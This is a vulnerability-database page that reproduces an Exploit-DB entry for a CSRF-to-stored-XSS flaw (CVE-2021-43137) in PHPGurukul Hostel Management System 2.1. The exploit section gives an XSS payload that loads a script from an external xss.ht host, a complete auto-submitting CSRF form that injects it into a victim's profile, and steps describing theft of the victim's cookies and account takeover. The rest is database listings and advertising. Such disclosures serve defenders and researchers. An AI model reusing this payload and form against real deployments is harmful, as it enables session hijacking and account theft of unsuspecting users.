Lucene search
+L

PHPGurukul Hostel Management System 2.1 - Cross-Site Request Forgery (CSRF) to Cross-Site Scripting (XSS)

🗓️ 28 Oct 2021 00:00:00Reported by Anubhav SinghType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 462 Views

PHPGurukul Hostel Management System 2.1 CSRF and XSS exploi

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-43137
1 Dec 202120:15
–attackerkb
circl
Circl
CVE-2021-43137
1 Dec 202122:35
–circl
cnnvd
CNNVD
PHPGurukul Hostel Management System Cross-Site Script Vulnerability
1 Dec 202100:00
–cnnvd
cnvd
CNVD
Hostel Management System my-profile.php File Cross-Site Request Forgery Vulnerability
3 Dec 202100:00
–cnvd
cve
CVE
CVE-2021-43137
1 Dec 202119:14
–cve
cvelist
Cvelist
CVE-2021-43137
1 Dec 202119:14
–cvelist
euvd
EUVD
EUVD-2021-30086
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2021-43137
1 Dec 202120:15
–nvd
osv_cve
osv_cve
CVE-2021-43137
1 Dec 202120:15
–osv_cve
prion
Prion
Cross site request forgery (csrf)
1 Dec 202120:15
–prion
Rows per page
# Exploit Title: PHPGurukul Hostel Management System 2.1 - Cross-site request forgery (CSRF) to Cross-site Scripting (XSS)
# Date: 2021-10-27
# Exploit Author: Anubhav Singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: V 2.1
# Vulnerable endpoint: http://localhost/hostel/hostel/my-profile.php
# Tested on Windows 10, XAMPP

Steps to reproduce:

1) Navigate to http://localhost/hostel/hostel/my-profile.php
2) Enter xss payload "><script src=https://anubhav1403.xss.ht></script> in name field
3) Click on Update Profile and intercept the request in Burpsuite
4) Generate a CSRF POC of Update Profile

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/hostel/hostel/my-profile.php" method="POST">
      <input type="hidden" name="regno" value="123456" />
      <input type="hidden" name="fname" value=""><script&#32;src&#61;https&#58;&#47;&#47;anubhav1403&#46;xss&#46;ht><&#47;script>" />
      <input type="hidden" name="mname" value="Hello" />
      <input type="hidden" name="lname" value="Singh" />
      <input type="hidden" name="gender" value="male" />
      <input type="hidden" name="contact" value="12345678995" />
      <input type="hidden" name="email" value="anubhav&#64;gmail&#46;com" />
      <input type="hidden" name="update" value="Update&#32;Profile" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

5) Send this POC to victim
6) When victim open the POC, his/her name will be updated to our XSS payload & payload will get fires.
7) Now attacker get's the details of victim like ip address, cookies of Victim, etc
8) So attacker is able to steal Victim's cookies successfully!! Account takeover!!!

#POC

https://ibb.co/jVcZxnt
https://ibb.co/DwGh4x9

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 26.8
CVSS 3.18.8
EPSS0.01585
462